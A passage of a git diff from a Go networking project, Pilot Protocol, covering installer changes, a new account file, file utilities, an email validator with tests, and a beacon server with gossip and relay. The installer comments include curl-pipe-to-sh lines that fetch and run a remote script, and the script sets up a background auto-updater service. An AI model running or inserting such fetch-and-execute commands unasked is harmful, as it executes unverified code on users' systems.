v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= +github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w= +github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 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h1:j6ZzNTftVS054gi281TyLjHPp6CPHr2KCxEXjEbD6SM= +modernc.org/fileutil v1.4.0/go.mod h1:EqdKFDxiByqxLk8ozOxObDSfcVOv/54xDs/DUHdvCUU= +modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= +modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito= +modernc.org/gc/v3 v3.1.2 h1:ZtDCnhonXSZexk/AYsegNRV1lJGgaNZJuKjJSWKyEqo= +modernc.org/gc/v3 v3.1.2/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY= +modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= +modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI= +modernc.org/libc v1.70.0 h1:U58NawXqXbgpZ/dcdS9kMshu08aiA6b7gusEusqzNkw= +modernc.org/libc v1.70.0/go.mod h1:OVmxFGP1CI/Z4L3E0Q3Mf1PDE0BucwMkcXjjLntvHJo= +modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= +modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= +modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= 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Pilot Protocol installer # Usage: -# Install: curl -fsSL https://raw.githubusercontent.com/TeoSlayer/pilotprotocol/main/install.sh | sh -# Uninstall: curl -fsSL https://raw.githubusercontent.com/TeoSlayer/pilotprotocol/main/install.sh | sh -s uninstall +# Install: curl -fsSL https://pilotprotocol.network/install.sh | sh +# RC build: PILOT_RC=1 curl -fsSL https://pilotprotocol.network/install.sh | sh +# Uninstall: curl -fsSL https://pilotprotocol.network/install.sh | sh -s uninstall REPO="TeoSlayer/pilotprotocol" -REGISTRY="35.193.106.76:9000" -BEACON="35.193.106.76:9001" +REGISTRY="34.71.57.205:9000" +BEACON="34.71.57.205:9001" PILOT_DIR="$HOME/.pilot" BIN_DIR="$PILOT_DIR/bin" @@ -30,25 +31,31 @@ if [ "${1}" = "uninstall" ]; then pilotctl gateway stop 2>/dev/null || true fi - # Remove system service - if [ "$OS" = "linux" ] && [ -f /etc/systemd/system/pilot-daemon.service ]; then + # Remove system services (daemon + updater) + if [ "$OS" = "linux" ]; then if [ "$(id -u)" = "0" ] || sudo -n true 2>/dev/null; then - sudo systemctl stop pilot-daemon 2>/dev/null || true - sudo systemctl disable pilot-daemon 2>/dev/null || true - sudo rm -f /etc/systemd/system/pilot-daemon.service + for svc in pilot-daemon pilot-updater; do + if [ -f "/etc/systemd/system/${svc}.service" ]; then + sudo systemctl stop "$svc" 2>/dev/null || true + sudo systemctl disable "$svc" 2>/dev/null || true + sudo rm -f "/etc/systemd/system/${svc}.service" + fi + done sudo systemctl daemon-reload - echo " Removed systemd service" + echo " Removed systemd services" else echo " Skipped systemd removal (run with sudo to remove)" fi fi if [ "$OS" = "darwin" ]; then - PLIST="$HOME/Library/LaunchAgents/com.vulturelabs.pilot-daemon.plist" - if [ -f "$PLIST" ]; then - launchctl unload "$PLIST" 2>/dev/null || true - rm -f "$PLIST" - echo " Removed LaunchAgent" - fi + for label in com.vulturelabs.pilot-daemon com.vulturelabs.pilot-updater; do + PLIST="$HOME/Library/LaunchAgents/${label}.plist" + if [ -f "$PLIST" ]; then + launchctl unload "$PLIST" 2>/dev/null || true + rm -f "$PLIST" + fi + done + echo " Removed LaunchAgents" fi # Remove pilot directory (binaries, config, identity, received files) @@ -90,13 +97,49 @@ echo " Registry: ${REGISTRY}" echo " Beacon: ${BEACON}" echo "" +# --- Resolve email --- + +EMAIL="${PILOT_EMAIL:-}" + +# On fresh install, email is required (like certbot) +if [ -z "$EMAIL" ] && [ ! -x "$BIN_DIR/pilotctl" ]; then + # Check if account.json already has an email + if [ -f "$PILOT_DIR/account.json" ]; then + EMAIL=$(grep '"email"' "$PILOT_DIR/account.json" 2>/dev/null | head -1 | cut -d'"' -f4 || true) + fi + if [ -z "$EMAIL" ]; then + printf " Email (for account recovery): " + read EMAIL < /dev/tty + if [ -z "$EMAIL" ]; then + echo " Error: email is required. Set PILOT_EMAIL or enter when prompted." + exit 1 + fi + fi +fi + +# --- Detect existing installation --- + +UPDATING=false +if [ -x "$BIN_DIR/pilotctl" ]; then + UPDATING=true + CURRENT=$("$BIN_DIR/pilotctl" version 2>/dev/null || echo "unknown") + echo " Existing install detected (${CURRENT})" + echo " Updating binaries..." + echo "" +fi + # --- Download or build --- TMPDIR=$(mktemp -d) trap 'rm -rf "$TMPDIR"' EXIT # Try downloading a release first -TAG=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" 2>/dev/null | grep '"tag_name"' | head -1 | cut -d'"' -f4 || true) +# PILOT_RC=1 opts into release candidates (pre-releases) +if [ "${PILOT_RC:-}" = "1" ]; then + TAG=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases" 2>/dev/null | grep '"tag_name"' | head -1 | cut -d'"' -f4 || true) +else + TAG=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" 2>/dev/null | grep '"tag_name"' | head -1 | cut -d'"' -f4 || true) +fi if [ -n "$TAG" ]; then ARCHIVE="pilot-${OS}-${ARCH}.tar.gz" @@ -104,9 +147,6 @@ if [ -n "$TAG" ]; then echo "Downloading ${TAG}..." if curl -fsSL "$URL" -o "$TMPDIR/$ARCHIVE" 2>/dev/null; then tar -xzf "$TMPDIR/$ARCHIVE" -C "$TMPDIR" - mv "$TMPDIR/pilot-daemon-${OS}-${ARCH}" "$TMPDIR/pilot-daemon" - mv "$TMPDIR/pilot-pilotctl-${OS}-${ARCH}" "$TMPDIR/pilotctl" - mv "$TMPDIR/pilot-gateway-${OS}-${ARCH}" "$TMPDIR/pilot-gateway" else TAG="" fi @@ -131,6 +171,8 @@ if [ -z "$TAG" ]; then CGO_ENABLED=0 go build -o "$TMPDIR/pilotctl" "$TMPDIR/src/cmd/pilotctl" echo "Building gateway..." CGO_ENABLED=0 go build -o "$TMPDIR/pilot-gateway" "$TMPDIR/src/cmd/gateway" + echo "Building updater..." + CGO_ENABLED=0 go build -o "$TMPDIR/pilot-updater" "$TMPDIR/src/cmd/updater" fi # --- Install binaries to ~/.pilot/bin --- @@ -138,10 +180,25 @@ fi echo "Installing binaries..." mkdir -p "$BIN_DIR" -cp "$TMPDIR/pilot-daemon" "$BIN_DIR/pilot-daemon" +# Handle both naming conventions (release: daemon/gateway, source: pilot-daemon/pilot-gateway) +if [ -f "$TMPDIR/daemon" ]; then + cp "$TMPDIR/daemon" "$BIN_DIR/pilot-daemon" +else + cp "$TMPDIR/pilot-daemon" "$BIN_DIR/pilot-daemon" +fi cp "$TMPDIR/pilotctl" "$BIN_DIR/pilotctl" -cp "$TMPDIR/pilot-gateway" "$BIN_DIR/pilot-gateway" +if [ -f "$TMPDIR/gateway" ]; then + cp "$TMPDIR/gateway" "$BIN_DIR/pilot-gateway" +else + cp "$TMPDIR/pilot-gateway" "$BIN_DIR/pilot-gateway" +fi +if [ -f "$TMPDIR/updater" ]; then + cp "$TMPDIR/updater" "$BIN_DIR/pilot-updater" +elif [ -f "$TMPDIR/pilot-updater" ]; then + cp "$TMPDIR/pilot-updater" "$BIN_DIR/pilot-updater" +fi chmod 755 "$BIN_DIR/pilot-daemon" "$BIN_DIR/pilotctl" "$BIN_DIR/pilot-gateway" +[ -f "$BIN_DIR/pilot-updater" ] && chmod 755 "$BIN_DIR/pilot-updater" # --- Symlink to /usr/local/bin if writable, otherwise skip --- @@ -150,10 +207,29 @@ if [ -d "$LINK_DIR" ] && [ -w "$LINK_DIR" ]; then ln -sf "$BIN_DIR/pilot-daemon" "$LINK_DIR/pilot-daemon" ln -sf "$BIN_DIR/pilotctl" "$LINK_DIR/pilotctl" ln -sf "$BIN_DIR/pilot-gateway" "$LINK_DIR/pilot-gateway" + [ -f "$BIN_DIR/pilot-updater" ] && ln -sf "$BIN_DIR/pilot-updater" "$LINK_DIR/pilot-updater" echo " Symlinked to ${LINK_DIR}" fi -# --- Write config --- +# --- Update: stop here, skip config/service/PATH setup --- + +if [ "$UPDATING" = true ]; then + # Write version file for the auto-updater + [ -n "$TAG" ] && echo "$TAG" > "$BIN_DIR/.pilot-version" + echo "" + echo "Updated to ${TAG:-source}:" + echo " pilot-daemon ${BIN_DIR}/pilot-daemon" + echo " pilotctl ${BIN_DIR}/pilotctl" + echo " pilot-gateway ${BIN_DIR}/pilot-gateway" + echo " pilot-updater ${BIN_DIR}/pilot-updater" + echo "" + echo "Restart the daemon to use the new version:" + echo " pilotctl daemon stop && pilotctl daemon start" + echo "" + exit 0 +fi + +# --- Fresh install: write config --- cat > "$PILOT_DIR/config.json" < "$PILOT_DIR/config.json" </dev/null </tmp/pilot.sock -identity ${PILOT_DIR}/identity.json + -email + ${EMAIL} -encrypt ${EXTRA_ARGS} RunAtLoad @@ -265,7 +367,37 @@ ${EXTRA_ARGS} PLIST + # Auto-updater LaunchAgent + if [ -f "$BIN_DIR/pilot-updater" ]; then + UPLIST="$PLIST_DIR/com.vulturelabs.pilot-updater.plist" + cat > "$UPLIST" < + + + + Label + com.vulturelabs.pilot-updater + ProgramArguments + + ${BIN_DIR}/pilot-updater + -install-dir + ${BIN_DIR} + + RunAtLoad + + KeepAlive + + StandardOutPath + ${PILOT_DIR}/updater.log + StandardErrorPath + ${PILOT_DIR}/updater.log + + +UPLIST + fi + echo " Service: com.vulturelabs.pilot-daemon" + echo " Service: com.vulturelabs.pilot-updater (auto-updates)" echo " Start: launchctl load $PLIST" echo " Stop: launchctl unload $PLIST" fi @@ -296,22 +428,27 @@ fi # --- Verify --- +# Write version file for the auto-updater +[ -n "$TAG" ] && echo "$TAG" > "$BIN_DIR/.pilot-version" + echo "" echo "Installed:" -echo " pilot-daemon ${BIN_DIR}/pilot-daemon" -echo " pilotctl ${BIN_DIR}/pilotctl" -echo " pilot-gateway ${BIN_DIR}/pilot-gateway" +echo " pilot-daemon ${BIN_DIR}/pilot-daemon" +echo " pilotctl ${BIN_DIR}/pilotctl" +echo " pilot-gateway ${BIN_DIR}/pilot-gateway" +echo " pilot-updater ${BIN_DIR}/pilot-updater (auto-updates in background)" echo "" echo "Config: ${PILOT_DIR}/config.json" echo " Registry: ${REGISTRY}" echo " Beacon: ${BEACON}" echo " Socket: /tmp/pilot.sock" echo " Identity: ${PILOT_DIR}/identity.json" +echo " Email: ${EMAIL}" echo "" echo "Get started:" echo "" echo " export PATH=\"${BIN_DIR}:\$PATH\" # if not restarting your shell" -echo " pilotctl daemon start --hostname my-agent" +echo " pilotctl daemon start --hostname my-agent # email already saved" echo " pilotctl info" echo " pilotctl ping " echo "" diff --git a/internal/account/account.go b/internal/account/account.go new file mode 100644 index 00000000..cf2f55b0 --- /dev/null +++ b/internal/account/account.go @@ -0,0 +1,53 @@ +package account + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + + "github.com/TeoSlayer/pilotprotocol/internal/fsutil" +) + +// Account holds persisted account information alongside the identity file. +type Account struct { + Email string `json:"email"` +} + +// Save writes the account to disk atomically with 0600 permissions. +func Save(path string, acct *Account) error { + if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil { + return fmt.Errorf("create account dir: %w", err) + } + data, err := json.MarshalIndent(acct, "", " ") + if err != nil { + return fmt.Errorf("marshal account: %w", err) + } + if err := fsutil.AtomicWrite(path, data); err != nil { + return fmt.Errorf("write account: %w", err) + } + // Ensure 0600 permissions + return os.Chmod(path, 0600) +} + +// Load reads an account from disk. Returns nil, nil if the file does not exist. +func Load(path string) (*Account, error) { + data, err := os.ReadFile(path) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, fmt.Errorf("read account: %w", err) + } + var acct Account + if err := json.Unmarshal(data, &acct); err != nil { + return nil, fmt.Errorf("unmarshal account: %w", err) + } + return &acct, nil +} + +// PathFromIdentity returns the account file path derived from an identity file path. +// If identity is "/var/lib/pilot/identity.json", returns "/var/lib/pilot/account.json". +func PathFromIdentity(identityPath string) string { + return filepath.Join(filepath.Dir(identityPath), "account.json") +} diff --git a/internal/account/account_test.go b/internal/account/account_test.go new file mode 100644 index 00000000..eeb01770 --- /dev/null +++ b/internal/account/account_test.go @@ -0,0 +1,104 @@ +package account + +import ( + "os" + "path/filepath" + "testing" +) + +func TestSaveAndLoad(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "account.json") + + acct := &Account{Email: "user@example.com"} + if err := Save(path, acct); err != nil { + t.Fatalf("Save: %v", err) + } + + loaded, err := Load(path) + if err != nil { + t.Fatalf("Load: %v", err) + } + if loaded == nil { + t.Fatal("Load returned nil") + } + if loaded.Email != "user@example.com" { + t.Errorf("Email = %q, want %q", loaded.Email, "user@example.com") + } + + // Check file permissions + info, err := os.Stat(path) + if err != nil { + t.Fatalf("Stat: %v", err) + } + if perm := info.Mode().Perm(); perm != 0600 { + t.Errorf("permissions = %o, want 0600", perm) + } +} + +func TestLoadNotFound(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "nonexistent.json") + + acct, err := Load(path) + if err != nil { + t.Fatalf("Load: %v", err) + } + if acct != nil { + t.Errorf("expected nil account for nonexistent file, got %+v", acct) + } +} + +func TestSaveOverwrite(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "account.json") + + if err := Save(path, &Account{Email: "old@example.com"}); err != nil { + t.Fatalf("Save: %v", err) + } + if err := Save(path, &Account{Email: "new@example.com"}); err != nil { + t.Fatalf("Save overwrite: %v", err) + } + + loaded, err := Load(path) + if err != nil { + t.Fatalf("Load: %v", err) + } + if loaded.Email != "new@example.com" { + t.Errorf("Email = %q, want %q", loaded.Email, "new@example.com") + } +} + +func TestPathFromIdentity(t *testing.T) { + cases := []struct { + input string + want string + }{ + {"/var/lib/pilot/identity.json", "/var/lib/pilot/account.json"}, + {"/home/user/.pilot/identity.json", "/home/user/.pilot/account.json"}, + {"identity.json", "account.json"}, + } + for _, tc := range cases { + got := PathFromIdentity(tc.input) + if got != tc.want { + t.Errorf("PathFromIdentity(%q) = %q, want %q", tc.input, got, tc.want) + } + } +} + +func TestSaveCreatesDirectory(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "subdir", "account.json") + + if err := Save(path, &Account{Email: "user@example.com"}); err != nil { + t.Fatalf("Save with nested dir: %v", err) + } + + loaded, err := Load(path) + if err != nil { + t.Fatalf("Load: %v", err) + } + if loaded.Email != "user@example.com" { + t.Errorf("Email = %q, want %q", loaded.Email, "user@example.com") + } +} diff --git a/internal/fsutil/fsutil.go b/internal/fsutil/fsutil.go index 9bfcfd2d..c58a8bce 100644 --- a/internal/fsutil/fsutil.go +++ b/internal/fsutil/fsutil.go @@ -1,12 +1,33 @@ package fsutil -import "os" +import ( + "fmt" + "os" +) + +// AppendSync appends data to a file and fsyncs it. Used by the WAL for +// durable, sequential writes. The file is opened in append mode. +func AppendSync(path string, data []byte) error { + f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) + if err != nil { + return fmt.Errorf("open: %w", err) + } + if _, err := f.Write(data); err != nil { + f.Close() + return fmt.Errorf("write: %w", err) + } + if err := f.Sync(); err != nil { + f.Close() + return fmt.Errorf("sync: %w", err) + } + return f.Close() +} // AtomicWrite writes data to a file atomically using a temp file + rename. // This ensures the target file is never left in a truncated state. func AtomicWrite(path string, data []byte) error { tmp := path + ".tmp" - f, err := os.Create(tmp) + f, err := os.OpenFile(tmp, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { return err } diff --git a/internal/fsutil/fsutil_test.go b/internal/fsutil/fsutil_test.go new file mode 100644 index 00000000..e9afe983 --- /dev/null +++ b/internal/fsutil/fsutil_test.go @@ -0,0 +1,199 @@ +package fsutil + +import ( + "os" + "path/filepath" + "testing" +) + +func TestAtomicWriteCreatesFile(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "test.json") + + data := []byte(`{"key":"value"}`) + if err := AtomicWrite(path, data); err != nil { + t.Fatalf("AtomicWrite: %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + if string(got) != string(data) { + t.Fatalf("content mismatch: %q", got) + } +} + +func TestAtomicWritePermissions0600(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "perms.json") + + if err := AtomicWrite(path, []byte("secret")); err != nil { + t.Fatalf("AtomicWrite: %v", err) + } + + info, err := os.Stat(path) + if err != nil { + t.Fatalf("Stat: %v", err) + } + if perm := info.Mode().Perm(); perm != 0600 { + t.Fatalf("expected 0600, got %04o", perm) + } +} + +func TestAtomicWriteOverwrite(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "overwrite.json") + + if err := AtomicWrite(path, []byte("first")); err != nil { + t.Fatalf("first write: %v", err) + } + if err := AtomicWrite(path, []byte("second")); err != nil { + t.Fatalf("second write: %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + if string(got) != "second" { + t.Fatalf("expected 'second', got %q", got) + } + + // Permissions still 0600 after overwrite + info, _ := os.Stat(path) + if perm := info.Mode().Perm(); perm != 0600 { + t.Fatalf("expected 0600 after overwrite, got %04o", perm) + } +} + +func TestAtomicWriteNoTempFileRemains(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "clean.json") + + if err := AtomicWrite(path, []byte("data")); err != nil { + t.Fatalf("AtomicWrite: %v", err) + } + + if _, err := os.Stat(path + ".tmp"); !os.IsNotExist(err) { + t.Fatal("temp file should not exist after successful write") + } +} + +func TestAtomicWriteEmptyData(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "empty.json") + + if err := AtomicWrite(path, []byte{}); err != nil { + t.Fatalf("AtomicWrite empty: %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + if len(got) != 0 { + t.Fatalf("expected empty file, got %d bytes", len(got)) + } +} + +func TestAtomicWriteLargeData(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "large.json") + + data := make([]byte, 1<<20) // 1MB + for i := range data { + data[i] = byte(i % 256) + } + + if err := AtomicWrite(path, data); err != nil { + t.Fatalf("AtomicWrite: %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + if len(got) != len(data) { + t.Fatalf("size mismatch: %d != %d", len(got), len(data)) + } +} + +func TestAtomicWriteBadDirectory(t *testing.T) { + t.Parallel() + err := AtomicWrite("/nonexistent/dir/file.json", []byte("data")) + if err == nil { + t.Fatal("expected error for nonexistent directory") + } +} + +func TestAppendSyncCreatesFile(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "append.log") + + if err := AppendSync(path, []byte("line1\n")); err != nil { + t.Fatalf("AppendSync: %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + if string(got) != "line1\n" { + t.Fatalf("expected 'line1\\n', got %q", got) + } +} + +func TestAppendSyncAppends(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "multi.log") + + if err := AppendSync(path, []byte("a\n")); err != nil { + t.Fatalf("first AppendSync: %v", err) + } + if err := AppendSync(path, []byte("b\n")); err != nil { + t.Fatalf("second AppendSync: %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile: %v", err) + } + if string(got) != "a\nb\n" { + t.Fatalf("expected 'a\\nb\\n', got %q", got) + } +} + +func TestAppendSyncPermissions0600(t *testing.T) { + t.Parallel() + dir := t.TempDir() + path := filepath.Join(dir, "perms.log") + + if err := AppendSync(path, []byte("x")); err != nil { + t.Fatalf("AppendSync: %v", err) + } + + info, err := os.Stat(path) + if err != nil { + t.Fatalf("Stat: %v", err) + } + if perm := info.Mode().Perm(); perm != 0600 { + t.Fatalf("expected 0600, got %04o", perm) + } +} + +func TestAppendSyncBadDirectory(t *testing.T) { + t.Parallel() + err := AppendSync("/nonexistent/dir/file.log", []byte("data")) + if err == nil { + t.Fatal("expected error for nonexistent directory") + } +} diff --git a/internal/pool/pool.go b/internal/pool/pool.go index 0f8d64df..42f67a57 100644 --- a/internal/pool/pool.go +++ b/internal/pool/pool.go @@ -4,8 +4,8 @@ import "sync" // Packet buffers sized for typical tunnel frames. const ( - SmallBufSize = 4096 // for IPC messages, small packets - LargeBufSize = 65535 + 38 // max payload + tunnel magic(4) + header(34) + SmallBufSize = 4096 // for IPC messages, small packets + LargeBufSize = 65535 + 38 // max payload + tunnel magic(4) + header(34) ) var ( diff --git a/internal/validate/email.go b/internal/validate/email.go new file mode 100644 index 00000000..36e986e6 --- /dev/null +++ b/internal/validate/email.go @@ -0,0 +1,36 @@ +package validate + +import ( + "fmt" + "strings" +) + +// Email validates an email address with basic checks: +// non-empty, contains exactly one @, domain has a dot, no spaces. +// This is not a full RFC 5322 parser — just enough to catch typos. +func Email(email string) error { + if email == "" { + return fmt.Errorf("email address is required") + } + if strings.Contains(email, " ") { + return fmt.Errorf("email address must not contain spaces") + } + at := strings.Index(email, "@") + if at < 1 { + return fmt.Errorf("email address must contain @") + } + if strings.Count(email, "@") > 1 { + return fmt.Errorf("email address must contain exactly one @") + } + domain := email[at+1:] + if domain == "" { + return fmt.Errorf("email address must have a domain after @") + } + if !strings.Contains(domain, ".") { + return fmt.Errorf("email domain must contain a dot") + } + if strings.HasPrefix(domain, ".") || strings.HasSuffix(domain, ".") { + return fmt.Errorf("email domain must not start or end with a dot") + } + return nil +} diff --git a/internal/validate/email_test.go b/internal/validate/email_test.go new file mode 100644 index 00000000..0814c67a --- /dev/null +++ b/internal/validate/email_test.go @@ -0,0 +1,58 @@ +package validate + +import "testing" + +func TestEmailValid(t *testing.T) { + valid := []string{ + "user@example.com", + "admin@pilot.local", + "test+tag@sub.domain.org", + "a@b.co", + } + for _, email := range valid { + if err := Email(email); err != nil { + t.Errorf("Email(%q) = %v, want nil", email, err) + } + } +} + +func TestEmailInvalid(t *testing.T) { + cases := []struct { + input string + want string + }{ + {"", "required"}, + {"noatsign", "must contain @"}, + {"@domain.com", "must contain @"}, + {"user@", "must have a domain"}, + {"user@nodot", "must contain a dot"}, + {"user @example.com", "must not contain spaces"}, + {"user@ example.com", "must not contain spaces"}, + {"user@.example.com", "must not start or end with a dot"}, + {"user@example.", "must not start or end with a dot"}, + {"a@b@c.com", "exactly one @"}, + } + for _, tc := range cases { + err := Email(tc.input) + if err == nil { + t.Errorf("Email(%q) = nil, want error containing %q", tc.input, tc.want) + continue + } + if got := err.Error(); !contains(got, tc.want) { + t.Errorf("Email(%q) = %q, want error containing %q", tc.input, got, tc.want) + } + } +} + +func contains(s, substr string) bool { + return len(s) >= len(substr) && containsAt(s, substr) +} + +func containsAt(s, substr string) bool { + for i := 0; i <= len(s)-len(substr); i++ { + if s[i:i+len(substr)] == substr { + return true + } + } + return false +} diff --git a/pkg/beacon/server.go b/pkg/beacon/server.go index 1696c83d..2c1c8e53 100644 --- a/pkg/beacon/server.go +++ b/pkg/beacon/server.go @@ -2,34 +2,99 @@ package beacon import ( "encoding/binary" + "encoding/json" "fmt" + "io" "log/slog" "net" + "net/http" + "runtime" "sync" -) + "sync/atomic" + "time" -// Message types -const ( - MsgDiscover byte = 0x01 - MsgDiscoverReply byte = 0x02 - MsgPunchRequest byte = 0x03 - MsgPunchCommand byte = 0x04 - MsgRelay byte = 0x05 - MsgRelayDeliver byte = 0x06 + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) +// beaconNode tracks a node's observed endpoint and when it was last seen. +type beaconNode struct { + addr *net.UDPAddr + lastSeen time.Time +} + +// relayJob is a pre-parsed relay packet dispatched to a worker. +type relayJob struct { + senderID uint32 + destID uint32 + payload []byte // owned by the job, returned to pool after send +} + type Server struct { mu sync.RWMutex conn *net.UDPConn - nodes map[uint32]*net.UDPAddr // node_id → observed public endpoint + nodes map[uint32]*beaconNode // node_id → observed endpoint + last-seen readyCh chan struct{} + relayCh chan relayJob // buffered channel for relay workers + pool sync.Pool // reusable payload buffers + + // Peer mesh (gossip) + beaconID uint32 + peers []*net.UDPAddr // peer beacon addresses + peerNodes map[uint32]*net.UDPAddr // nodeID → peer beacon that owns it + peerMu sync.RWMutex + healthOk atomic.Bool + + registryAddr string // registry address for dynamic peer discovery + + done chan struct{} // closed on shutdown } +const relayQueueSize = 32768 // buffered relay jobs before backpressure (increased for 1M-node scale) + +// maxRelayPayload caps the relay payload size. UDP itself limits datagrams to ~65KB, +// but this provides defense-in-depth against future transport changes. +const maxRelayPayload = 65535 + +// maxBeaconNodes caps the number of tracked nodes to prevent memory exhaustion. +const maxBeaconNodes = 100_000 + +// beaconNodeTTL is how long a node entry lives without a discover refresh. +// Set to 10 minutes (well above the 60s heartbeat-driven re-discover interval) +// so nodes survive brief registry outages without losing beacon registration. +const beaconNodeTTL = 10 * time.Minute + func New() *Server { - return &Server{ - nodes: make(map[uint32]*net.UDPAddr), - readyCh: make(chan struct{}), + return NewWithPeers(0, nil) +} + +// NewWithPeers creates a beacon server with gossip peer support. +// beaconID uniquely identifies this beacon instance (0 = standalone). +// peers is a list of peer beacon addresses for gossip exchange. +func NewWithPeers(beaconID uint32, peers []string) *Server { + s := &Server{ + nodes: make(map[uint32]*beaconNode), + readyCh: make(chan struct{}), + relayCh: make(chan relayJob, relayQueueSize), + beaconID: beaconID, + peerNodes: make(map[uint32]*net.UDPAddr), + done: make(chan struct{}), + } + s.pool.New = func() interface{} { + b := make([]byte, 1500) + return &b } + s.healthOk.Store(true) + + for _, p := range peers { + addr, err := net.ResolveUDPAddr("udp", p) + if err != nil { + slog.Warn("beacon: invalid peer address", "addr", p, "err", err) + continue + } + s.peers = append(s.peers, addr) + } + + return s } func (s *Server) ListenAndServe(addr string) error { @@ -43,9 +108,34 @@ func (s *Server) ListenAndServe(addr string) error { return fmt.Errorf("listen: %w", err) } s.conn = conn - slog.Info("beacon listening", "addr", conn.LocalAddr()) + + // Increase UDP receive buffer to handle bursts + _ = conn.SetReadBuffer(4 * 1024 * 1024) // 4MB + + slog.Info("beacon listening", "addr", conn.LocalAddr(), "beacon_id", s.beaconID, "peers", len(s.peers)) close(s.readyCh) + // Start relay workers — one per CPU core, each processes relay + // jobs independently: lookup dest + WriteToUDP in parallel. + workers := runtime.NumCPU() + if workers < 2 { + workers = 2 + } + for i := 0; i < workers; i++ { + go s.relayWorker() + } + + // Start reap loop to evict stale node entries + go s.reapLoop() + + // Start gossip loop (always — peers may be added dynamically via registry) + go s.gossipLoop() + + // Start registry-based peer discovery if configured + if s.registryAddr != "" { + go s.registryDiscoveryLoop() + } + buf := make([]byte, 65535) for { n, remote, err := conn.ReadFromUDP(buf) @@ -78,6 +168,11 @@ func (s *Server) Addr() net.Addr { } func (s *Server) Close() error { + select { + case <-s.done: + default: + close(s.done) + } if s.conn != nil { return s.conn.Close() } @@ -88,14 +183,16 @@ func (s *Server) handlePacket(data []byte, remote *net.UDPAddr) { msgType := data[0] switch msgType { - case MsgDiscover: + case protocol.BeaconMsgDiscover: s.handleDiscover(data[1:], remote) - case MsgPunchRequest: + case protocol.BeaconMsgPunchRequest: s.handlePunchRequest(data[1:], remote) - case MsgRelay: - s.handleRelay(data[1:], remote) + case protocol.BeaconMsgRelay: + s.dispatchRelay(data[1:]) + case protocol.BeaconMsgSync: + s.handleSync(data[1:], remote) default: - slog.Warn("unknown beacon message type", "type", fmt.Sprintf("0x%02X", msgType), "from", remote) + slog.Debug("unknown beacon message type", "type", fmt.Sprintf("0x%02X", msgType), "from", remote) } } @@ -107,11 +204,20 @@ func (s *Server) handleDiscover(data []byte, remote *net.UDPAddr) { nodeID := 